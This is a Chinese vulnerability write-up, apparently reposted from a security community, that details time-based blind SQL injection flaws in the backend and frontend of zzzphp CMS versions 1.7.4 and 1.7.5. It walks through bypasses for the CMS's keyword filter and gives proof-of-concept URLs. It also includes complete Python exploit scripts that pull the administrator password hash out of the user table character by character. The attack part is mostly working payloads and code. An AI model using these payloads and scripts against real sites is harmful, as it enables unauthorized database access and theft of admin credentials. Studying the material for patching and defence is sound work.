zzzphp到处都是sql注入

2019-12-20 约 1258 字 预计阅读 6 分钟

声明:本文 【zzzphp到处都是sql注入】 由作者 虫二 于 2019-12-20 08:58:16 首发 先知社区 曾经 浏览数 673 次

感谢 虫二 的辛苦付出!

  1. 前言
    小众cms的0day有啥用,长毛了都,放出来大家一起学习学习吧
    注入涉及前后台,当时审计的是最新版zzzphp1.7.4版本,没想到过了几天,更新到1.7.5版本了,也就是目前最新的版本(难道是我把后台的注入提交给cnvd,然后通知给厂商了???)。看了下更新日志,也没有与安全相关的修复,我寻思后台注入他也不会修吧,前台注入他也不知道啊,也有可能被别人提交到哪个地方了吧。然后试了下exp,发现不起作用了……看来还是被修复了,对比了下发现确实是,然后分析了会,又给绕过去了,下面一一分析两个版本的前后台注入。

  2. zzzphp1.7.4后台9处注入
    后台目录默认为admin加三位数字,我这里为admin241
    重点分析第一处注入:
    在admin241/index.php中的14及17行,

    $cid=geturl('cid');
    $data=db_load_sql_one('select ,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
    $cid是直接拼接在后面的,也没有单引号啥的
    跟踪函数geturl,在inc/zzz_main.php的1724行,

    这里就有很多坑了,一一来分析:
    1.它是通过$_SERVER[ 'REQUEST_URI' ]然后parse_url来获取参数值的,所以无法存在空格,制表符等字符。如:在浏览器中访问127.0.0.1/?id=123 aaa,通过此方式获取的id值为123%20aaa,这还怎么注入。尝试在burp中,直接加入空格,返回http400。考虑到mysql中制表符可以代替空格,以16进制的方式,将上述的空格修改为09,即在hex窗口中将20修改为09,同样返回http400。所以想注入的话,不能够存在空格等字符。然后也不能存在url编码的东西,比如浏览器访问127.0.0.1/?id=1>1,获取的id为1%3e1, 不会自动给你进行一次url解码,但这种情况可以直接在burp中修改,把请求里的%3e改为>即可
    2.注意到1731行的$arr = explode( '/', $s ),所以不能存在字符/,故无法考虑使用/
    的形式代替空格
    3.注意到1734行的$last = str_replace( '&', '=', array_pop( $arr ) ),所以注入时不能存在字符&
    4.注意到1736行的$arr1 = explode( '=', $last ),所以注入时不能存在字符=
    5.1726行的$s = danger_key($s),danger_key在zzz_main.php的769行,如下:

    function danger_key($s) {
     $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
     $s = str_ireplace($danger,"*",$s);
     $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
    foreach ($key as $val){
        if(strpos($s,$val) !==false){
         error('很抱歉,执行出错,发现危险字符【'.$val.'】');
       }
    }
     return $s;
    }
    

    过滤了很多字符,初看一眼,和注入相关的,不能存在chr,union,ascii字符。
    这里我没有仔细一行一行看了,直接来测试一下这个geturl函数,
    在admin241/index.php的14行后面加个echo $cid;exit;


    出现了mysql注释符直接没东西返回
    综上,注入不能出现空格,=, /,union,ascii,以及需要进行url编码才认识的字符(如%0a,制表符等)
    有那么多限制,考虑时间盲注,eg:
    index.php?id=(sleep(ascii(mid(user()from(1)for(1)))=109))
    ascii被过滤了,用ord替换,=号被过滤了,用<或>
    先测试sleep多长时间比较合适,经过测试,如果延时成功,sleep(0.1)会在2.9s左右响应(是由于前面的sql语句会返回29行记录,sleep(1)的话要等29s左右才响应)

    Poc:
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1))<97)))
    如果没有延时,直接响应,说明user()的第一个字符小于97是不对的
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1))<98)))
    如果成功延时,2.9s左右返回,说明user()的第一个字符小于98是对的,导致延迟成功。
    那么,user()的第一个字符的ascii就是97。
    附上exp来获取数据库用户名:

    import urllib.request
    import time
    headers = {
     "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
     }
    result = []
    for i in range (1,5):
     for j in range(47,122):#暂考虑数字字母,没考虑其他字符
         url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),"+str(i)+",1))<"+str(j)+")))"
         try:
             request = urllib.request.Request(url=url,headers=headers)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j-1))
             result.append(chr(j-1))
             time.sleep(2)
             break
    print(result)
    


    那么问题来了,由于不能存在空格等字符,仅仅一个user()不能证明能够获取其他数据,怎么获取user表的password?
    考虑+代替空格,但是from前后的空格,不能用+代替,mysql会报错。最终使用括号成功,如图,并没有出现空格等字符,成功将zzz_user表里uid为1(uid小于2)的密码查询

    失败的Poc:
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from(zzz_user)where+uid<2),1,1))<96)))
    原因:没有注意到下划线被过滤了(上面的danger_key函数过滤的,将_替换为星号),下划线被过滤,那就基本无解,无法查询其他表内容
    回头重新看了眼拼接sql语句的地方:
    $data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
    发现他也没有给表的前缀,然后用[dbpre]代替的,追踪函数db_load_sql_one,

    function db_load_sql_one( $sql, $d = NULL ) {
     $db = $_SERVER[ 'db' ];
     $d = $d ? $d : $db;
     if ( !$d ) return FALSE;
     $sql = str_replace( '[dbpre]', DB_PRE, $sql );
     $arr = $d->sql_find_one( $sql );
     db_errno_errstr($arr, $d, $sql);
     return $arr;
    }
    

    将[dbpre]给换成表前缀,所以我也可以这样做,表前缀用[dbpre]即可。
    最终poc:
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),1,1))<96)))
    获取管理员(uid为1)的password的exp

    import urllib.request
    import time
    headers = {
     "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
     }
    result = []
    for i in range (1,17):
     for j in range(47,122):
         url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+")))"
         try:
             request = urllib.request.Request(url=url,headers=headers)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j-1))
             result.append(chr(j-1))
             time.sleep(2)
             break
    print(result)
    


    既然将geturl('xxx')直接拼接进sql语句会造成时间盲注,那么全局搜索一下,最终发现,除了上面分析的一处,还存在8处注入,共9处
    21行的sid,26行的stype,37行的sid,44行的sid,46行的pid,54行的customid,61行的uid,66行的gid
    剩下的8处都是类似db_load_one('user_group',array('gid'=>$gid))的形式,和最开始分析的直接拼接进sql语句的有点不一样,这里只挑一个简单说一下吧。就分析最后一个吧,66行的那个
    先跟进函数db_load_one,这个函数在最后一行调用了find_one,跟进find_one函数(inc/zzz_db_mysql.php的83行)
    这里我在93-94行直接插入:
    echo "SELECT $cols FROM $table $where$orderby LIMIT 1";exit;
    然后访问127.0.0.1/zzzphp/admin241/?module=admingroup&gid=aaa',如图

    可以看到,gid的值直接被拼接到sql语句中,然后被单引号包起来,但是并没有过滤单引号。
    然后在数据库中测好延时及合适的sql语句


    第一个图是想去除空格及测好延时,第二个图是想完成引号闭合及去除空格
    故可构造poc:
    127.0.0.1/zzzphp/admin241/?module=admingroup&gid=aaa'or(sleep(0.3))or'

  3. zzzphp1.7.4前台几处sql注入
    在前台随便点了一个链接:http://127.0.0.1/zzzphp/?news/7
    接下来去看看这个news和这个7是怎么整到数据库执行的
    根目录下的index.php只require了inc/zzz_client.php
    zzz_client.php从上往下看,前面整了一堆没用的,然后在58-59行:
    $location=getlocation();
    ParseGlobal(G('sid'),G('cid'));
    这里我就猜测getlocation应该就是来解析url的,然后生成了G('sid'),G('cid'),然后再ParseGlobal
    我就直接在$location=getlocation();后面加了echo G('sid');echo 11111;echo G('cid');exit;

    如图,G('sid')没有,G('cid')为url中的7
    基本可以确定是getlocation()来设置参数的
    getlocation函数在zzz_main的1537行左右:

    function getlocation() {
     $location = getform( 'location', 'get' );
     if ( isset( $location ) ) {
         if ( checklocation( $location ) != FALSE )
             return $location;
     }
     $url = $_SERVER[ 'REQUEST_URI' ];
     if(substr($url, -1)== "=") phpgo (rtrim($url, '=')); 
     if ( conf( 'runmode' ) == 2 ) {
         $arr = stripos( $url, '?' ) === FALSE ? parse_url( '?' . ltrim( $url, '/' ) ) : parse_url( $url );
     } else {
         $arr = parse_url( $url );
     }   
     $query = arr_value( $arr, 'query' );
     $query = str_replace( conf( 'siteext' ), '', $query );  
     $GLOBALS[ 'page' ] = sub_right( $query, '_' );
     $query = sub_left( $query, '_' );
     if ( defined( 'LOCATION' ) ) {
         $GLOBALS[ 'sid' ] = '-1';
         $GLOBALS[ 'cid' ] = '-1';
         $GLOBALS[ 'cname' ] = LOCATION;
         return LOCATION;
     }
     if ( empty( $query ) ) {
         $GLOBALS[ 'sid' ] = 0;
         $GLOBALS[ 'cid' ] = 0;
         $GLOBALS[ 'cname' ] = 'index';
         return 'index';
     } else {
         $pos = stripos( $query, '/' );
         $q = substr( $query, 0, $pos );
         $p = substr( $query, $pos + 1 );
         $location = empty( $q ) ? checklocation( $query, 0 ) : checklocation( $q, $p );
         //echop('location:'.$location);echop('query:'.$query);echop('q:'.$q);echop('p:'.$p);echop('sid:'.G('sid'));;echop('cid:'.G('cid'));die;
         if ( !empty( $location ) ) {
             return $location;
         }
         if ( $q == 'brand' ) {
             $GLOBALS[ 'sid' ] = '-1';
             if ( !empty( $p ) ) {
                 if ( db_count( 'brand', "b_filename='" . $p . "'" ) > 0 ) {
                     $GLOBALS[ 'bname' ] = $p;
                 } else {
                     $GLOBALS[ 'bid' ] = $p;
                 }
             }
             return 'brand';
         }
         if ( !empty( $query ) ) {
             $query = sub_left( $query, '=' );
             if ( db_count( "sort", "s_filename='" . $query . "'" ) > 0 ) {
                 $data = db_load_one( "sort", "s_filename='" . $query . "'", "sid,s_type" );
                 $GLOBALS[ 'cid' ] = 0;
                 $GLOBALS[ 'sid' ] = $data[ 'sid' ];
                 $GLOBALS[ 'cname' ] = $query;
                 return in_array($data[ 's_type' ],load_model()) ? 'list' : $data[ 's_type' ];
             }
         }       
         if ( $pos == 0 ) {
             return $query;
         }
    
     }
    }
    

    代码很长,很难看的样子,也是通过$_SERVER[ 'REQUEST_URI' ]的方式处理参数的。我也没有动态调试的工具,向来只是手动echo xxx;exit;的方式下断点。但是既然刚刚已经知道了cid就是7,所以可以直接忽略$GLOBALS[ 'cid' ] = 0这种的判断,所有我猜测(实际上就是这样),应该是进入到了$location = empty( $q ) ? checklocation( $query, 0 ) : checklocation( $q, $p );,通过调用checklocation来设置cid的
    zzz_main.php的1602行 checklocation:

    function checklocation( $q, $p = NULL ) {   
     $arr1 = array( 'about', 'gbook', 'list', 'taglist', 'brandlist' );
     $arr2 = array( 'content', 'order', 'user', 'form',  conf('wappath'), 'sitemap', 'sitexml' );
     $arr3 = load_model();
     if ( in_array( $q, $arr1 ) ) {
         $p = sub_right( $p, '/' );
         $sid = arr_split($p,'_',0);
         if ( ifnum($sid)) {
             // 对后半部分截取,并且分析
             $GLOBALS[ 'sid' ] = $sid;
             $GLOBALS[ 'cid' ] = 0;
         } else {
             $p = sub_left( $p, '=' );
             $GLOBALS[ 'sid' ] =  arr_split($p,'&',0);
             $GLOBALS[ 'cid' ] = 0;
         }
         return $q;
     } elseif ( in_array( $q, $arr2 ) ) {
         if ( ifnum( $p ) ) {
             $GLOBALS[ 'cid' ] = $p;
             $GLOBALS[ 'sid' ] = '-1';
             return $q;
         } else {
             $p = sub_left( $p, '=' );
             $cid = sub_left( $p, '&' );
             if ( $cid > 0 ) $GLOBALS[ 'cid' ] = $cid;
             return $q;
         }
     } elseif ( in_array( $q, $arr3 ) ) {
         if ( ifnum( $p ) ) {
             $GLOBALS[ 'cid' ] = $p;
             return 'content';
         } else {
             $p = sub_left( $p, '=' );
             $cid = sub_left( $p, '&' );
             if ( $cid > 0 ) {
                 $GLOBALS[ 'cid' ] = $cid;
                 return 'content';
             }  else if ( !empty( $p ) ) {
                 if ( db_count( "content", "c_pagename='" . $p . "'" ) > 0 ) {
                     $data = db_load_one( "content", "c_pagename='" . $p . "'", "cid,c_sid" );
                     $GLOBALS[ 'sid' ] = $data[ 'c_sid' ];
                     $GLOBALS[ 'cid' ] = $data[ 'cid' ];
                     $GLOBALS[ 'cname' ] = $p;
                     return 'content';
                 }            
             } else {
                 return false;
             }
         }
     } else {
         return FALSE;
     }
    }
    

    代码也很长,很难看。echo $q发现就是url中的news,直接进入到最后的elseif ( in_array( $q, $arr3 ) )
    $p就是url中news/后的一堆东西,然后先$p = sub_left( $p, '=' ),再$cid = sub_left( $p, '&' )
    然后,然后一定要注意了,cid的值直接要影响注入的触发位置了
    如果$cid > 0成立,直接设置好$GLOBALS[ 'cid' ] = $cid,然后return 'content'
    如果$cid > 0不成立,进行下一个判断:db_count( "content", "c_pagename='" . $p . "'" ) > 0 ,这个地方应该也可以直接触发sql注入的,本人没有测试,,有兴趣的读者可以继续跟一下
    我测的是$cid > 0成立的情况,这个条件很容易满足,利用php的弱类型即可满足,如访问127.0.0.1/zzzphp/?news/7abcd即可,此时cid为7abcd,能满足大于0的。
    捋一下流程,其实很简单:
    先是$location=getlocation()
    getlocation()调用了checklocation,checklocation设置了$GLOBALS[ 'cid' ] = $cid
    再走到下一行
    ParseGlobal(G('sid'),G('cid'));
    这是G就是个函数,从G('cid')就是$GLOBALS[ 'cid' ] ,想知道的可以追下这个G
    追踪函数ParseGlobal,在inc/zzz_db.php的996行,996……

    很明显了,直接在1000行触发注入
    可以仔细仔细观察getlocation,发现没有像后台那么严格,毕竟没有调用danger_key函数,斜线/好像也是可以用的,但是这些我都没考虑,还是直接用后台注入的那个套路来的
    准备构造好sql语句了,源sql语句为:
    select from zzz_sort where sid=(select c_sid from zzz_content where cid=$cid)
    $cid可控,但要数字开头,不能有空格,等于号,斜线不知道可不可以有(实在抱歉,,当时没注意这些,现在写这文章的时候才注意到,但是我目前的版本为1.7.5了,1.7.4的也有,但是没安装,所以就没法echo输出查看了,可以自己测试一下,但是1.7.5版本的是可以的)
    这里我就假装限制和后台的注入一样严格吧…………
    当时一直不知道什么东西代替开头的数字与sleep之间的空格,还一直想着sleep前面要and or啥的

    后来瞎整了好久,发现了直接+sleep就好使了……然后又发现小于sleep()或大于sleep()等等都可以,具体见图:

    select
    from zzz_sort where sid=(select c_sid from zzz_content where cid=7+sleep(0.01));

    select from zzz_sort where sid=(select c_sid from zzz_content where cid=7-sleep(0.03));

    select
    from zzz_sort where sid=(select c_sid from zzz_content where cid=7小于sleep(0.03));

    select * from zzz_sort where sid=(select c_sid from zzz_content where cid=7>sleep(0.03))

    原因我也不知道,有没有师傅给解释一下直接大于sleep小于sleep为啥会延时,这个时间与什么有关系
    那么前台注入的poc就很容易了:
    127.0.0.1/zzzphp/?news/7>sleep(0.03)
    获取管理员(uid为1)的password的exp:

    import urllib.request
    import time
    #获取管理员密码,已知长度是16
    #空格被过滤,发现sleep()前面可以用>或<或<>,原因不知道
    #我这边测试注入语句:select * from zzz_sort where sid=(select c_sid from zzz_content where cid=7>sleep(0.03))
    #Empty set (2.67 sec),为什么2.67s不知道。cid的值直接影响sleep的参数,如果数据库里没有对应的cid,测试sleep(0.1)即可,2.9s左右返回
    #但数据库里没有对应的cid,网站响应302,会到下面代码里的except里去,还得处理302,算了,麻烦
    #等于号被过滤,用小于吧,从0递增,设置timeout为1,请求失败的上一个即为该字符
    result = []
    for i in range (1,17):
     for j in range(47,122):
         url = "http://127.0.0.1/zzzphp/?news/7>sleep(0.03*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+"))"
         try:
             request = urllib.request.Request(url=url)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j-1))
             result.append(chr(j-1))
             time.sleep(2)
             break
    print(''.join(result))
    


    然后我随便在前台点开一个链接,什么news,about啥的,在url后加>sleep(0.1),都会延时,注入问题应该都差不多,没仔细去看

  4. zzzphp1.7.5后台sql注入
    位置依旧和1.7.4相同,我大概看了下,好像是danger_key函数发生了改变

    function danger_key($s,$type='') {
     $s=empty($type) ? htmlspecialchars($s) : $s;
         $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep');
     $s = str_ireplace($danger,"*",$s);
     $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
    foreach ($key as $val){
        if(strpos($s,$val) !==false){
         error('很抱歉,执行出错,发现危险字符【'.$val.'】');
       }
    }
     return $s;
    }
    

    他先给你htmlspecialchars了,这是1.7.4没有的,,htmlspecialchars了,就不能用大于小于了,单引号没影响
    然后多过滤了几个关键字,create,func,symlink,sleep,少过滤了下划线_
    不能用大于小于,我就用like(114)或in(113)这种形式吧,也不需要空格,sleep不能用,就BENCHMARK吧
    在数据库测试好合适的sql语句:
    select ,b.sid,b.s_type from zzz_content a,zzz_sort b where b.sid=a.c_sid and cid=(BENCHMARK(35000000(ord(mid(user(),1,1))like(114)),hex(233333)));

    算了,直接整password吧
    select ,b.sid,b.s_type from zzz_content a,zzz_sort b where b.sid=a.c_sid and cid=(BENCHMARK(35000000(ord(mid((select(password)from(zzz_user)where(uid)in(1)),1,1))like(52)),hex(233333)));

    访问127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333)))
    如果管理员(uid为1)的password的第一个字母的ascii为52,即可成功延时
    获取password的exp:

    import urllib.request
    import time
    headers = {
     "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1576050340; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=lfdciobk45189ih79fhg9uiff6",
     }
    result = []
    for i in range (1,17):
     for j in range(47,122):#暂考虑数字字母,没考虑其他字符
         url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333)))"
         try:
             request = urllib.request.Request(url=url,headers=headers)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j))
             result.append(chr(j))
             time.sleep(2)
             break
    print(result)
    

  5. zzzphp1.7.5前台sql注入
    与1.7.4相比,getlocation函数多了一行:
    $url = danger_key(str_replace(conf('siteext'),'',$_SERVER[ 'REQUEST_URI' ]));
    1.7.4是:$url = $_SERVER[ 'REQUEST_URI' ];
    也就是说,给你多调用了一个danger_key函数
    感觉没什么用,不能出现大于小于等于还有sleep
    空格的话,这里可以用注释符了,但是也没什么用,毕竟已经有不用空格的方法
    我反而觉得1.7.4前台的注入是最简单的了,没有过滤啊,就是不能出现空格而已……我好像把他分析复杂了
    还是拿这个url:127.0.0.1/zzzphp/?news/7
    数据库构造好语句:
    select from zzz_sort where sid=(select c_sid from zzz_content where cid=7+BENCHMARK(7000000(ord(mid((select(password)from(zzz_user)where(uid)in(1)),1,1))like(52)),hex(233333)));

    poc:
    127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333))
    exp:

    import urllib.request
    import time
    result = []
    for i in range (1,17):
     for j in range(47,122):#暂考虑数字字母,没考虑其他字符
         url = "http://127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333))"
         try:
             request = urllib.request.Request(url=url)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j))
             result.append(chr(j))
             time.sleep(2)
             break
    print(''.join(result))
    

  6. 结束
    1.python写exp时,建议自带的request库,requests模块会自动进行一次url编码,就是说,我在1.7.4版本里,用的大于号小于号,他会给我整成%3E%3C,当时迷茫了很久,延时一直不成功,burp里就可以,用wireshark抓包才发现
    2.脚本没考虑网络延迟等问题
    3.zzzphp1.7.4版本在网上不太好搜,上传附件了,1.7.5在zzzcms官网下载即可
    4.平时根本不写文章,也不会用这个编辑器,这编辑器实在不得劲,自己变颜色,调格式,大于小于星号井号都会变格式,直接回车加个空行也会变格式……所以排版啥的,嘿嘿嘿
    5.文章中写的不好的地方,不清楚的地方,反而写复杂的地方,望各位师傅见谅,有啥疑问交流即可,欢迎各位师傅加我微信交流。要是有师傅给讲下大于小于sleep是个啥情况,或者有师傅讲讲这两个版本如何用dnslog的方式出数据,那就再好不过了。微信:c3l4MTI3MTkyMDAwMQ==

  7. 下集预告
    sdcms1.9前台sql注入。目前应该是最新版的了
    我印象中是个通用的问题,当时就找了一个地方,没仔细看,不知道其他地方还有没有。等有空分析分析发出来吧

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now